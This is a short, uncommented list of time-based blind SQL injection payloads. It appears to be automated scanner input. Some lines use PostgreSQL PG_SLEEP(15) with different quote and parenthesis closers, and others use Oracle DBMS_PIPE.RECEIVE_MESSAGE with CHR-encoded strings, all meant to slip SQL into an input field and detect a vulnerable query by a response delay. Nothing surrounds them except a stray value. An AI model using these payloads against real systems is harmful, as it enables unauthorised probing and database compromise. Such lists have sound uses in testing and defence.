555-1 OR 62=(SELECT 62 FROM PG_SLEEP(15))--

555-1) OR 343=(SELECT 343 FROM PG_SLEEP(15))--

555-1)) OR 317=(SELECT 317 FROM PG_SLEEP(15))--

555MOwAtsTM' OR 568=(SELECT 568 FROM PG_SLEEP(15))--

555wGNIdTMf') OR 954=(SELECT 954 FROM PG_SLEEP(15))--

555i4hXQtbz')) OR 585=(SELECT 585 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555